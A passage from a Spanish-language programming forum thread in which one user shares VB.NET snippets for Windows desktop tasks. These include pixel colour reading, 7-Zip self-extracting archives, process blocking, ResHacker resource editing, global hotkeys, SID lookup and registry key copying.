GetDC(IntPtr.Zero) Dim pixel As UInteger = GetPixel(hdc, x, y) ReleaseDC(IntPtr.Zero, hdc) Dim RGB As Color = Color.FromArgb(CType((pixel And &HFF), Integer), CType((pixel And &HFF00), Integer) >> 8, CType((pixel And &HFF0000), Integer) >> 16) Dim R As Int16 = RGB.R, G As Int16 = RGB.G, B As Int16 = RGB.B Dim HEX_R As String, HEX_G As String, HEX_B As String Select Case ColorType Case ColorType.RGB : Return RGB Case ColorType.HEX If Hex(R) = Hex(0) Then HEX_R = "00" Else HEX_R = Hex(R) If Hex(G) = Hex(0) Then HEX_G = "00" Else HEX_G = Hex(G) If Hex(B) = Hex(0) Then HEX_B = "00" Else HEX_B = Hex(B) Return (HEX_R & HEX_G & HEX_B) Case ColorType.HTML : Return ColorTranslator.ToHtml(RGB) Case Else : Return Nothing End Select End Function #End Region
Crear un archivo comprimido autoextraible (SFX) con la librería SevenZipSharp: #Region " SevenZipSharp Compress SFX " ' [ SevenZipSharp Compress SFX Function ] ' ' // By Elektro H@cker ' ' Instructions : ' 1. Add a reference to "SevenZipSharp.dll". ' 2. Add the "7z.dll" or "7z64.dll" files to the project. ' 3. Add the "7z.sfx" and "7zCon.sfx" files to the project. ' 4. Use the code below. ' ' Examples : ' SevenZipSharp_Compress_SFX("C:\File.txt") ' File will be compressed in the same dir. ' SevenZipSharp_Compress_SFX("C:\File.txt", "C:\Compressed\File.exe") ' File will be compressed in "C:\Compressed\". ' SevenZipSharp_Compress_SFX("C:\Folder\", , , , , , , "Password") ' Folder will be compressed with the given password. ' SevenZipSharp_Compress_SFX("C:\File.txt", , SevenZipSharp_SFX_Module.Console, CompressionLevel.Fast) ' Imports SevenZip ' Dim dll As String = "7z.dll" Public Enum SevenZipSharp_SFX_Module Normal Console End Enum Private Function SevenZipSharp_Compress_SFX(ByVal Input_DirOrFile As String, _ Optional ByVal OutputFileName As String = Nothing, _ Optional ByVal SFX_Module As SevenZipSharp_SFX_Module = SevenZipSharp_SFX_Module.Normal, _ Optional ByVal CompressionLevel As CompressionLevel = CompressionLevel.Normal, _ Optional ByVal Password As String = Nothing) As Boolean ' Create the .7z file Try ' Set library path SevenZipCompressor.SetLibraryPath(dll) ' Create compressor Dim Compressor As SevenZipCompressor = New SevenZipCompressor() ' Set compression parameters Compressor.CompressionLevel = CompressionLevel ' Archiving compression level. Compressor.CompressionMethod = CompressionMethod.Lzma ' Compression Method Compressor.ArchiveFormat = OutArchiveFormat.SevenZip ' Compression file format Compressor.CompressionMode = CompressionMode.Create ' Append files to compressed file or overwrite the compressed file. Compressor.DirectoryStructure = True ' Preserve the directory structure. Compressor.IncludeEmptyDirectories = True ' Include empty directories to archives. Compressor.ScanOnlyWritable = False ' Compress files only open for writing. Compressor.EncryptHeaders = False ' Encrypt 7-Zip archive headers Compressor.TempFolderPath = System.IO.Path.GetTempPath() ' Temporary folder path Compressor.FastCompression = False ' Compress as fast as possible, without calling events. Compressor.PreserveDirectoryRoot = True ' Preserve the directory root for CompressDirectory. Compressor.ZipEncryptionMethod = ZipEncryptionMethod.ZipCrypto ' Encryption method for zip archives. Compressor.DefaultItemName = "File.7z" ' Item name used when an item to be compressed has no name, for example, when you compress a MemoryStream instance ' Add Progress Handler ' AddHandler Compressor.Compressing, AddressOf SevenZipSharp_Compress_Progress ' Removes the end slash ("\") if given for a directory If Input_DirOrFile.EndsWith("\") Then Input_DirOrFile = Input_DirOrFile.Substring(0, Input_DirOrFile.Length - 1) ' Generate the OutputFileName if any is given. If OutputFileName Is Nothing Then OutputFileName = (My.Computer.FileSystem.GetFileInfo(Input_DirOrFile).DirectoryName & "\" & (Input_DirOrFile.Split("\").Last) & ".tmp").Replace("\\", "\") Else OutputFileName = OutputFileName & ".tmp" End If ' Check if given argument is Dir or File ...then start the compression If IO.Directory.Exists(Input_DirOrFile) Then ' Is a Dir If Not Password Is Nothing Then Compressor.CompressDirectory(Input_DirOrFile, OutputFileName, True, Password) Else Compressor.CompressDirectory(Input_DirOrFile, OutputFileName, True) End If ElseIf IO. File. Exists(Input_DirOrFile ) Then ' Is a File If Not Password Is Nothing Then Compressor.CompressFilesEncrypted(OutputFileName, Password, Input_DirOrFile) Else Compressor.CompressFiles(OutputFileName, Input_DirOrFile) End If End If ' Create the SFX file ' Create the SFX compressor Dim compressorSFX As SevenZipSfx = New SevenZipSfx(SfxModule.Default) ' Set SFX Module path If SFX_Module = SevenZipSharp_SFX_Module.Normal Then compressorSFX.ModuleFileName = ".\7z.sfx" ElseIf SFX_Module = SevenZipSharp_SFX_Module.Console Then compressorSFX.ModuleFileName = ".\7zCon.sfx" End If ' Start the compression ' Generate the OutputFileName if any is given. Dim SFXOutputFileName As String If OutputFileName.ToLower.EndsWith(".exe.tmp") Then SFXOutputFileName = OutputFileName.Substring(0, OutputFileName.Length - 4) Else SFXOutputFileName = OutputFileName.Substring(0, OutputFileName.Length - 4) & ".exe" End If compressorSFX.MakeSfx(OutputFileName, SFXOutputFileName) ' Delete the 7z tmp file Try : IO. File. Delete(OutputFileName ) : Catch : End Try Catch ex As Exception 'Return False ' File not compressed Throw New Exception(ex.Message) End Try Return True ' File compressed End Function ' Public Sub SevenZipSharp_Compress_SFX_Progress(ByVal sender As Object, ByVal e As ProgressEventArgs) ' MsgBox("Percent compressed: " & e.PercentDone) ' End Sub #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 4 Mayo 2013, 18:26 pm
Un snippet para medir el tiempo transcurrido para un procedimiento o una función o cualquier cosa: MEJORADO: (http://img441.imageshack.us/img441/9899/captura1x.png) #Region " Code Execution Time " ' [ Code Execution Time ] ' ' // By Elektro H@cker ' ' Examples : ' Execution_Start() : Threading.Thread.Sleep(500) : Execution_End() Dim Execution_Watcher As New Stopwatch Private Sub Execution_Start() If Execution_Watcher.IsRunning Then Execution_Watcher.Restart() Execution_Watcher.Start() End Sub Private Sub Execution_End() If Execution_Watcher.IsRunning Then MessageBox.Show("Execution watcher finished:" & vbNewLine & vbNewLine & _ "[H:M:S:MS]" & vbNewLine & _ Execution_Watcher.Elapsed.Hours & _ ":" & Execution_Watcher.Elapsed.Minutes & _ ":" & Execution_Watcher.Elapsed.Seconds & _ ":" & Execution_Watcher.Elapsed.Milliseconds & _ vbNewLine & _ vbNewLine & _ "Total H: " & Execution_Watcher.Elapsed.TotalHours & vbNewLine & vbNewLine & _ "Total M: " & Execution_Watcher.Elapsed.TotalMinutes & vbNewLine & vbNewLine & _ "Total S: " & Execution_Watcher.Elapsed.TotalSeconds & vbNewLine & vbNewLine & _ "Total MS: " & Execution_Watcher.ElapsedMilliseconds & vbNewLine, _ "Code execution time", _ MessageBoxButtons.OK, _ MessageBoxIcon.Information, _ MessageBoxDefaultButton.Button1) Execution_Watcher.Reset() Else MessageBox.Show("Execution watcher never started.", _ "Code execution time", _ MessageBoxButtons.OK, _ MessageBoxIcon.Error, _ MessageBoxDefaultButton.Button1) End If End Sub #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 5 Mayo 2013, 08:59 am
Para bloquear procesos. ' [ Block Process Functions ] ' ' // By Elektro H@cker ' ' Examples : ' BlockProcess.Block("cmd") ' Blocks a process ' BlockProcess.Block("firefox.exe") ' Blocks a process ' BlockProcess.Unblock("cmd") ' Unblocks a process ' BlockProcess.Unblock("firefox.exe") ' Unblocks a process ' ' BlockProcess.Unblock_All() ' Reset all values and stop timer ' BlockProcess.Monitor_Interval = 5 * 1000 ' BlockProcess.Show_Message_On_Error = True ' BlockProcess.Show_Message_On_blocking = True ' BlockProcess.Message_Text = "I blocked your process: " ' BlockProcess.Message_Title = "Block Process .:: By Elektro H@cker ::." #Region " Block Process Class " Public Class BlockProcess Shared Blocked_APPS As New List(Of String) ' List of process names Shared WithEvents ProcessMon_Timer As New Timer ' App Monitor timer ''' <summary> ''' Shows a MessageBox if error occurs when blocking the app [Default: False]. ''' </summary> Public Shared Show_Message_On_Error As Boolean = False ''' <summary> ''' Shows a MessageBox when app is being blocked [Default: False]. ''' </summary> Public Shared Show_Message_On_blocking As Boolean = False ''' <summary> ''' Set the MessageBox On blocking Text. ''' </summary> Public Shared Message_Text As String = "Process blocked: " ''' <summary> ''' Set the MessageBox On blocking Title. ''' </summary> Public Shared Message_Title As String = "Process Blocked" ''' <summary> ''' Set the App Monitor interval in milliseconds [Default: 200]. ''' </summary> Public Shared Monitor_Interval As Int64 = 200 ''' <summary> ''' Add a process name to the process list. ''' </summary> Public Shared Sub Block(ByVal ProcessName As String) If ProcessName.ToLower.EndsWith(".exe") Then ProcessName = ProcessName.Substring(0, ProcessName.Length - 4) Blocked_APPS.Add(ProcessName) If Not ProcessMon_Timer.Enabled Then ProcessMon_Timer.Enabled = True End Sub ''' <summary> ''' Delete a process name from the process list. ''' </summary> Public Shared Sub Unblock(ByVal ProcessName As String) If ProcessName.ToLower.EndsWith(".exe") Then ProcessName = ProcessName.Substring(0, ProcessName.Length - 4) Blocked_APPS.Remove(ProcessName) End Sub ''' <summary> ''' Clear the process list and disables the App Monitor. ''' </summary> Public Shared Sub Unblock_All() ProcessMon_Timer.Enabled = False Blocked_APPS.Clear() End Sub ' Timer Tick Event Shared Sub ProcessMon_Timer_Tick(sender As Object, e As EventArgs) Handles ProcessMon_Timer.Tick For Each ProcessName In Blocked_APPS Dim proc() As Process = Process.GetProcessesByName(ProcessName) Try For proc_num As Integer = 0 To proc.Length - 1 proc(proc_num).Kill() If Show_Message_On_blocking Then MessageBox.Show(Message_Text & ProcessName & ".exe", Message_Title, MessageBoxButtons.OK, MessageBoxIcon.Asterisk, MessageBoxDefaultButton.Button1) End If Next Catch ex As Exception If Show_Message_On_Error Then MsgBox(ex.Message) ' One of the processes can't be killed End If End Try Next ' Set the Timer interval if is different If Not sender.Interval = Monitor_Interval Then sender.Interval = Monitor_Interval End Sub End Class #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 7 Mayo 2013, 11:53 am
Me he currado esta class para manejar la aplicación ResHacker, para añadir/eliminar/reemplazar/Extraer iconos u otros tipos de recursos de un archivo: Ejemplos de uso: ResHacker.All_Resources_Extract("C:\File.exe", ResHacker.ResourceType.ICON) ResHacker.All_Resources_Extract("C:\File.dll", ResHacker.ResourceType.BITMAP, "C:\Temp\") ResHacker.MainIcon_Delete("C:\Old.exe", "C:\New.exe") ResHacker.MainIcon_Extract("C:\Program.exe", "C:\Icon.ico") ResHacker.MainIcon_Replace("C:\Old.exe", "C:\New.exe", "C:\Icon.ico") ResHacker.Resource_Add("C:\Old.exe", "C:\New.exe", "C:\Icon.ico", ResHacker.ResourceType.ICON, "Test", 1033) ResHacker.Resource_Delete("C:\Old.exe", "C:\New.exe", ResHacker.ResourceType.ICON, "MAINICON", 0) ResHacker.Resource_Extract("C:\Old.exe", "C:\New.exe", ResHacker.ResourceType.ICON, "MAINICON", 0) ResHacker.Resource_Replace("C:\Old.exe", "C:\New.exe", "C:\Icon.ico", ResHacker.ResourceType.ICON, "MAINICON", 0) ResHacker.Run_Script("C:\Reshacker.txt") ResHacker.Check_Last_Error()
#Region " ResHacker class " Public Class ResHacker ''' <summary> ''' Set the location of ResHacker executable [Default: ".\Reshacker.exe"]. ''' </summary> Public Shared ResHacker_Location As String = ".\ResHacker.exe" ''' <summary> ''' Set the location of ResHacker log file [Default: ".\Reshacker.log"]. ''' </summary> Public Shared ResHacker_Log_Location As String = ResHacker_Location.Substring(0, ResHacker_Location.Length - 4) & ".log" ' Most Known ResourceTypes ''' <summary> ''' The most known ResourceTypes. ''' </summary> Enum ResourceType ASFW AVI BINARY BINDATA BITMAP CURSOR DIALOG DXNAVBARSKINS FONT FTR GIF HTML IBC ICON IMAGE JAVACLASS JPGTYPE LIBRARY MASK MENU MUI ORDERSTREAM PNG RCDATA REGINST REGISTRY STRINGTABLE RT_RCDATA SHADER STYLE_XML TYPELIB UIFILE VCLSTYLE WAVE WEVT_TEMPLATE XML XMLWRITE End Enum ' ------------------ ' MainIcon functions ' ------------------ ''' <summary> ''' Extract the main icon from file. ''' </summary> Public Shared Function MainIcon_Extract(ByVal InputFile As String, _ ByVal OutputIcon As String) As Boolean Try Dim ResHacker As New Process() Dim ResHacker_Info As New ProcessStartInfo() ResHacker_Info.FileName = ResHacker_Location ResHacker_Info.Arguments = "-extract " & """" & InputFile & """" & ", " & """" & OutputIcon & """" & ", ICONGROUP, MAINICON, 0" ResHacker_Info.UseShellExecute = False ResHacker.StartInfo = ResHacker_Info ResHacker.Start() ResHacker.WaitForExit() Return Check_Last_Error() Catch ex As Exception MsgBox(ex.Message) Return False End Try End Function ''' <summary> ''' Delete the main icon of file. ''' </summary> Public Shared Function MainIcon_Delete(ByVal InputFile As String, _ ByVal OutputFile As String) As Boolean Try Dim ResHacker As New Process() Dim ResHacker_Info As New ProcessStartInfo() ResHacker_Info.FileName = ResHacker_Location ResHacker_Info.Arguments = "-delete " & """" & InputFile & """" & ", " & """" & OutputFile & """" & ", ICONGROUP, MAINICON, 0" ResHacker_Info.UseShellExecute = False ResHacker.StartInfo = ResHacker_Info ResHacker.Start() ResHacker.WaitForExit() Return Check_Last_Error() Catch ex As Exception MsgBox(ex.Message) Return False End Try End Function ''' <summary> ''' Replace the main icon of file. ''' </summary> Public Shared Function MainIcon_Replace(ByVal InputFile As String, _ ByVal OutputFile As String, _ ByVal IconFile As String) As Boolean Try Dim ResHacker As New Process() Dim ResHacker_Info As New ProcessStartInfo() ResHacker_Info.FileName = ResHacker_Location ResHacker_Info.Arguments = "-addoverwrite " & """" & InputFile & """" & ", " & """" & OutputFile & """" & ", " & """" & IconFile & """" & ", ICONGROUP, MAINICON, 0" ResHacker_Info.UseShellExecute = False ResHacker.StartInfo = ResHacker_Info ResHacker.Start() ResHacker.WaitForExit() Return Check_Last_Error() Catch ex As Exception MsgBox(ex.Message) Return False End Try End Function ' ---------------------- ' ResourceType functions ' ---------------------- ''' <summary> ''' Add a resource to file. ''' </summary> Public Shared Function Resource_Add(ByVal InputFile As String, _ ByVal OutputFile As String, _ ByVal ResourceFile As String, _ ByVal ResourceType As ResourceType, _ ByVal ResourceName As String, _ Optional ByVal LanguageID As Int32 = 0) As Boolean Try Dim ResHacker As New Process() Dim ResHacker_Info As New ProcessStartInfo() ResHacker_Info.FileName = ResHacker_Location ResHacker_Info.Arguments = "-add " & """" & InputFile & """" & ", " & """" & OutputFile & """" & ", " & """" & ResourceFile & """" & ", " & ResourceType.ToString & ", " & """" & ResourceName & """" & ", " & LanguageID ResHacker_Info.UseShellExecute = False ResHacker.StartInfo = ResHacker_Info ResHacker.Start() ResHacker.WaitForExit() Return Check_Last_Error() Catch ex As Exception MsgBox(ex.Message) Return False End Try End Function ''' <summary> ''' Delete a resource from file. ''' </summary> Public Shared Function Resource_Delete(ByVal InputFile As String, _ ByVal OutputFile As String, _ ByVal ResourceType As ResourceType, _ ByVal ResourceName As String, _ Optional ByVal LanguageID As Int32 = 0) As Boolean Try Dim ResHacker As New Process() Dim ResHacker_Info As New ProcessStartInfo() ResHacker_Info.FileName = ResHacker_Location ResHacker_Info.Arguments = "-delete " & """" & InputFile & """" & ", " & """" & OutputFile & """" & ", " & ResourceType.ToString & ", " & """" & ResourceName & """" & ", " & LanguageID ResHacker_Info.UseShellExecute = False ResHacker.StartInfo = ResHacker_Info ResHacker.Start() ResHacker.WaitForExit() Return Check_Last_Error() Catch ex As Exception MsgBox(ex.Message) Return False End Try End Function ''' <summary> ''' Extract a resource from file. ''' </summary> Public Shared Function Resource_Extract(ByVal InputFile As String, _ ByVal OutputFile As String, _ ByVal ResourceType As ResourceType, _ ByVal ResourceName As String, _ Optional ByVal LanguageID As Int32 = 0) As Boolean Try Dim ResHacker As New Process() Dim ResHacker_Info As New ProcessStartInfo() ResHacker_Info.FileName = ResHacker_Location ResHacker_Info.Arguments = "-extract " & """" & InputFile & """" & ", " & """" & OutputFile & """" & ", " & ResourceType.ToString & ", " & """" & ResourceName & """" & ", " & LanguageID ResHacker_Info.UseShellExecute = False ResHacker.StartInfo = ResHacker_Info ResHacker.Start() ResHacker.WaitForExit() Return Check_Last_Error() Catch ex As Exception MsgBox(ex.Message) Return False End Try End Function ''' <summary> ''' Replace a resource from file. ''' </summary> Public Shared Function Resource_Replace(ByVal InputFile As String, _ ByVal OutputFile As String, _ ByVal ResourceFile As String, _ ByVal ResourceType As ResourceType, _ ByVal ResourceName As String, _ Optional ByVal LanguageID As Int32 = 0) As Boolean Try Dim ResHacker As New Process() Dim ResHacker_Info As New ProcessStartInfo() ResHacker_Info.FileName = ResHacker_Location ResHacker_Info.Arguments = "-addoverwrite " & """" & InputFile & """" & ", " & """" & OutputFile & """" & ", " & """" & ResourceFile & """" & ", " & ResourceType.ToString & ", " & """" & ResourceName & """" & ", " & LanguageID ResHacker_Info.UseShellExecute = False ResHacker.StartInfo = ResHacker_Info ResHacker.Start() ResHacker.WaitForExit() Return Check_Last_Error() Catch ex As Exception MsgBox(ex.Message) Return False End Try End Function ' ---------------------- ' All resources function ' ---------------------- ''' <summary> ''' Extract all kind of resource from file. ''' </summary> Public Shared Function All_Resources_Extract(ByVal InputFile As String, _ ByVal ResourceType As ResourceType, _ Optional ByVal OutputDir As String = Nothing) As Boolean If OutputDir Is Nothing Then OutputDir = InputFile.Substring(0, InputFile.LastIndexOf("\")) _ & "\" _ & InputFile.Split("\").Last.Substring(0, InputFile.Split("\").Last.LastIndexOf(".")) _ & ".rc" Else If OutputDir.EndsWith("\") Then OutputDir = OutputDir.Substring(0, OutputDir.Length - 1) OutputDir += "\" & InputFile.Split("\").Last.Substring(0, InputFile.Split("\").Last.LastIndexOf(".")) & ".rc" End If Try Dim ResHacker As New Process() Dim ResHacker_Info As New ProcessStartInfo() ResHacker_Info.FileName = ResHacker_Location ResHacker_Info.Arguments = "-extract " & """" & InputFile & """" & ", " & """" & OutputDir & """" & ", " & ResourceType.ToString & ",," ResHacker_Info.UseShellExecute = False ResHacker.StartInfo = ResHacker_Info ResHacker.Start() ResHacker.WaitForExit() Return Check_Last_Error() Catch ex As Exception MsgBox(ex.Message) Return False End Try End Function ' --------------- ' Script function ' --------------- ''' <summary> ''' Run a ResHacker script file. ''' </summary> Public Shared Function Run_Script(ByVal ScriptFile As String) As Boolean Try Dim ResHacker As New Process() Dim ResHacker_Info As New ProcessStartInfo() ResHacker_Info.FileName = ResHacker_Location ResHacker_Info.Arguments = "-script " & """" & ScriptFile & """" ResHacker_Info.UseShellExecute = False ResHacker.StartInfo = ResHacker_Info ResHacker.Start() ResHacker.WaitForExit() Return Check_Last_Error() Catch ex As Exception MsgBox(ex.Message) Return False End Try End Function ' ------------------------- ' Check Last Error function ' ------------------------- ''' <summary> ''' Return the last operation error if any [False = ERROR, True = Ok]. ''' </summary> Shared Function Check_Last_Error() Dim Line As String = Nothing Dim Text As IO. StreamReader = IO. File. OpenText(ResHacker_Log_Location ) Do Until Text.EndOfStream Line = Text.ReadLine() If Line.ToString.StartsWith("Error: ") Then MsgBox(Line) Return False End If Loop Text.Close() Text.Dispose() Return True End Function End Class #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 7 Mayo 2013, 14:46 pm
Crear hotkeys globales fuera del form, usando ComboBoxes. Solo hay que añadir dos comboboxes al form (los valores se añaden al crear la ventana): (http://img812.imageshack.us/img812/460/prtscrcapturedz.jpg) (http://img843.imageshack.us/img843/4769/prtscrcapture2cb.jpg) #Region " Set Global Hotkeys using ComboBoxes " ' [ Set Global Hotkeys using ComboBoxes Example ] ' ' // By Elektro H@cker ' ' Instructions : ' Instructions: ' 1. Add the "GlobalHotkeys Class" Class to the project. ' 2. Add a ComboBox in the Form with the name "ComboBox_SpecialKeys", with DropDownStyle property. ' 3. Add a ComboBox in the Form with the name "ComboBox_NormalKeys", with DropDownStyle property. Dim SpecialKeys As String() = {"NONE", "ALT", "CTRL", "SHIFT"} Dim NormalKeys As String() = { _ "A", "B", "C", "D", "E", "F", "G", "H", "I", "J", "K", "L", "M", _ "N", "O", "P", "Q", "R", "S", "T", "U", "V", "W", "X", "Y", "Z", _ "0", "1", "2", "3", "4", "5", "6", "7", "8", "9", _ "F1", "F2", "F3", "F4", "F5", "F6", "F7", "F8", "F9", "F10", "F11", "F12"} Dim SpecialKey As String = SpecialKeys(0) Dim NormalKey As System.Windows.Forms.Keys Dim WithEvents HotKey_Global As Shortcut ' Form load Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load For Each Item In SpecialKeys ComboBox_SpecialKeys.Items.Add(Item) Application.DoEvents() Next For Each Item In NormalKeys ComboBox_NormalKeys.Items.Add(Item) Application.DoEvents() Next ComboBox_SpecialKeys.SelectedItem = SpecialKeys(0) ' ComboBox_NormalKeys.SelectedItem = NormalKeys(0) End Sub ' ComboBoxes SelectedKeys Private Sub ComboBoxes_SelectedIndexChanged(sender As Object, e As EventArgs) Handles _ ComboBox_SpecialKeys.SelectedIndexChanged, _ ComboBox_NormalKeys.SelectedIndexChanged SpecialKey = ComboBox_SpecialKeys.Text Try : Select Case ComboBox_SpecialKeys.Text Case "ALT" NormalKey = [Enum].Parse(GetType(System.Windows.Forms.Keys), ComboBox_NormalKeys.Text, True) HotKey_Global = Shortcut.Create(Shortcut.Modifier.Alt, NormalKey) Case "CTRL" NormalKey = [Enum].Parse(GetType(System.Windows.Forms.Keys), ComboBox_NormalKeys.Text, True) HotKey_Global = Shortcut.Create(Shortcut.Modifier.Ctrl, NormalKey) Case "SHIFT" NormalKey = [Enum].Parse(GetType(System.Windows.Forms.Keys), ComboBox_NormalKeys.Text, True) HotKey_Global = Shortcut.Create(Shortcut.Modifier.Shift, NormalKey) Case "NONE" Dim Number_RegEx As New System.Text.RegularExpressions.Regex("\D") If Number_RegEx.IsMatch(ComboBox_NormalKeys.Text) Then NormalKey = [Enum].Parse(GetType(System.Windows.Forms.Keys), ComboBox_NormalKeys.Text, True) Else NormalKey = [Enum].Parse(GetType(System.Windows.Forms.Keys), (ComboBox_NormalKeys.Text + 96), False) End If HotKey_Global = Shortcut.Create(Shortcut.Modifier.None, NormalKey) End Select Catch : End Try End Sub ' Hotkey is pressed Private Sub HotKey_Press(ByVal s As Object, ByVal e As Shortcut.HotKeyEventArgs) Handles HotKey_Global.Press MsgBox("hotkey clicked: " & SpecialKey & "+" & NormalKey.ToString) End Sub #End Region #Region " GlobalHotkeys Class " Class Shortcut Inherits NativeWindow Implements IDisposable Protected Declare Function UnregisterHotKey Lib "user32.dll" (ByVal handle As IntPtr, ByVal id As Integer) As Boolean Protected Declare Function RegisterHotKey Lib "user32.dll" (ByVal handle As IntPtr, ByVal id As Integer, ByVal modifier As Integer, ByVal vk As Integer) As Boolean Event Press(ByVal sender As Object, ByVal e As HotKeyEventArgs) Protected EventArgs As HotKeyEventArgs, ID As Integer Enum Modifier As Integer None = 0 Alt = 1 Ctrl = 2 Shift = 4 End Enum Class HotKeyEventArgs Inherits EventArgs Property Modifier As Shortcut.Modifier Property Key As Keys End Class Class RegisteredException Inherits Exception Protected Const s As String = "Shortcut combination is in use." Sub New() MyBase.New(s) End Sub End Class Private disposed As Boolean Protected Overridable Sub Dispose(ByVal disposing As Boolean) If Not disposed Then UnregisterHotKey(Handle, ID) disposed = True End Sub Protected Overrides Sub Finalize() Dispose(False) MyBase.Finalize() End Sub Sub Dispose() Implements IDisposable.Dispose Dispose(True) GC.SuppressFinalize(Me) End Sub <DebuggerStepperBoundary()> Sub New(ByVal modifier As Modifier, ByVal key As Keys) CreateHandle(New CreateParams) ID = GetHashCode() EventArgs = New HotKeyEventArgs With {.Key = key, .Modifier = modifier} If Not RegisterHotKey(Handle, ID, modifier, key) Then Throw New RegisteredException End Sub Shared Function Create(ByVal modifier As Modifier, ByVal key As Keys) As Shortcut Return New Shortcut(modifier, key) End Function Protected Sub New() End Sub Protected Overrides Sub WndProc(ByRef m As Message) Select Case m.Msg Case 786 RaiseEvent Press(Me, EventArgs) Case Else MyBase.WndProc(m) End Select End Sub End Class #End Region
Título: Re: Librería de Snippets !! (Posteen aquí sus snippets)
Publicado por: Eleкtro en 7 Mayo 2013, 14:50 pm
Detectar que botón del mouse se ha pinchado: Private Sub Form1_MouseClick(sender As Object, e As MouseEventArgs) Handles MyBase.MouseClick Select Case e.Button().ToString.ToLower Case "left" ' Left mouse clicked MsgBox("Left mouse clicked") Case "right" ' Right mouse clicked MsgBox("Right mouse clicked") Case "middle" ' Middle mouse clicked MsgBox("Middle mouse clicked") End Select End Sub
Modificar la opacidad del Form cuando se arrastra desde la barra de título: ' Set opacity when moving the form from the TitleBar Protected Overrides Sub DefWndProc(ByRef message As System.Windows.Forms.Message) ' -- Trap left mouse click down on titlebar If CLng(message.Msg) = &HA1 Then If Me.Opacity <> 0.5 Then Me.Opacity = 0.5 ' -- Trap left mouse click up on titlebar ElseIf CLng(message.Msg) = &HA0 Then If Me.Opacity <> 1.0 Then Me.Opacity = 1.0 End If MyBase.DefWndProc(message) End Sub
Convertir "&H" a entero: #Region " Win32Hex To Int " ' [ Win32Hex To Int Function ] ' ' // By Elektro H@cker ' ' Examples: ' MsgBox(Win32Hex_To_Int(&H2S)) ' Result: 2 ' MsgBox(Win32Hex_To_Int(&HFF4)) ' 4084 Private Function Win32Hex_To_Int(ByVal Win32Int As Int32) As Int32 Return CInt(Win32Int) End Function #End Region
Convertir un SID al nombre dle usuario o al dominio+nombre #Region " Get SID UserName " ' [ Get SID UserName ] ' ' Examples: ' MsgBox(Get_SID_UserName("S-1-5-21-148789306-3749789949-2179752015-500")) ' Result: UserName ' MsgBox(Get_SID_UserName("S-1-5-21-148789306-3749789949-2179752015-500")) ' Result: DomainName\UserName Private Declare Unicode Function ConvertStringSidToSidW Lib "advapi32.dll" (ByVal StringSID As String, ByRef SID As IntPtr) As Boolean Private Declare Unicode Function LookupAccountSidW Lib "advapi32.dll" (ByVal lpSystemName As String, ByVal SID As IntPtr, ByVal Name As System.Text.StringBuilder, ByRef cbName As Long, ByVal DomainName As System.Text.StringBuilder, ByRef cbDomainName As Long, ByRef psUse As Integer) As Boolean Shared Function Get_SID_UserName(ByVal SID As String, Optional ByVal Get_Domain_Name As Boolean = False) As String Const size As Integer = 255 Dim domainName As String Dim userName As String Dim cbUserName As Long = size Dim cbDomainName As Long = size Dim ptrSID As New IntPtr(0) Dim psUse As Integer = 0 Dim bufName As New System.Text.StringBuilder(size) Dim bufDomain As New System.Text.StringBuilder(size) If ConvertStringSidToSidW(SID, ptrSID) Then If LookupAccountSidW(String.Empty, _ ptrSID, bufName, _ cbUserName, bufDomain, _ cbDomainName, psUse) Then userName = bufName.ToString domainName = bufDomain.ToString If Get_Domain_Name Then Return String.Format("{0}\{1}", domainName, userName) Else Return userName End If Else Return "" End If Else Return "" End If End Function #End Region
Copia una clave con sus subclaves y valores, a otro lugar del registro. #Region " Reg Copy Key " ' [ Reg Copy Key Function ] ' ' // By Elektro H@cker ' ' Reg_Copy_Key("HKCU", "Software", "7-Zip", "HKLM", "Software", "7-zip") ' Copies "HKCU\Software\7-Zip" to "HKLM\Software\7-Zip" ' Reg_Copy_Key("HKCU", "Software", "7-Zip", Nothing, "Software", "7-zip") ' Copies "HKCU\Software\7-Zip" to "HKCU\Software\7-Zip" ' Reg_Copy_Key("HKCU", "Software", "7-Zip", "HKLM", "Software", Nothing) ' Copies "HKCU\Software\7-Zip" to "HKLM\Software\" ' Reg_Copy_Key("HKCU", "Software", "7-Zip", "HKLM", Nothing, Nothing) ' Copies "HKCU\Software\7-Zip" to "HKLM\" ' Reg_Copy_Key("HKCU", "\Software\", "\7-Zip\", "HKLM", "\Software\", "\7-zip\") ' (Detects bad syntax) Copies "HKCU\Software\7-Zip" to "HKLM\Software\7-Zip" Private Function Reg_Copy_Key(ByVal OldRootKey As String, _ ByVal OldPath As String, _ ByVal OldName As String, _ ByVal NewRootKey As String, _ ByVal NewPath As String, _ ByVal NewName As String) As Boolean If OldPath Is Nothing Then OldPath = "" If NewRootKey Is Nothing Then NewRootKey = OldRootKey If NewPath Is Nothing Then NewPath = "" If NewName Is Nothing Then NewName = "" If OldRootKey.EndsWith("\") Then OldRootKey = OldRootKey.Substring(0, OldRootKey.Length - 1) If NewRootKey.EndsWith("\") Then NewRootKey = NewRootKey.Substring(0, NewRootKey.Length - 1) If OldPath.StartsWith("\") Then OldPath = OldPath.Substring(1, OldPath.Length - 1) If OldPath.EndsWith("\") Then OldPath = OldPath.Substring(0, OldPath.Length - 1) If NewPath.StartsWith("\") Then NewPath = NewPath.Substring(1, NewPath.Length - 1) If NewPath.EndsWith("\") Then NewPath = NewPath.Substring(0, NewPath.Length - 1) If OldName.StartsWith("\") Then OldName = OldName.Substring(1, OldName.Length - 1) If OldName.EndsWith("\") Then OldName = OldName.Substring(0, OldName.Length - 1) If NewName.StartsWith("\") Then NewName = NewName.Substring(1, NewName.Length - 1) If NewName.EndsWith("\") Then NewName = NewName.Substring(0, NewName.Length - 1) Dim OrigRootKey As Microsoft.Win32.RegistryKey = Nothing Dim DestRootKey As Microsoft.Win32.RegistryKey = Nothing Select Case OldRootKey.ToUpper Case "HKCR", "HKEY_CLASSES_ROOT" : OrigRootKey = Microsoft.Win32.Registry.ClassesRoot Case "HKCC", "HKEY_CURRENT_CONFIG" : OrigRootKey = Microsoft.Win32.Registry.CurrentConfig Case "HKCU", "HKEY_CURRENT_USER" : OrigRootKey = Microsoft.Win32.Registry.CurrentUser Case "HKLM", "HKEY_LOCAL_MACHINE" : OrigRootKey = Microsoft.Win32.Registry.LocalMachine Case "HKEY_PERFORMANCE_DATA" : OrigRootKey = Microsoft.Win32.Registry.PerformanceData Case 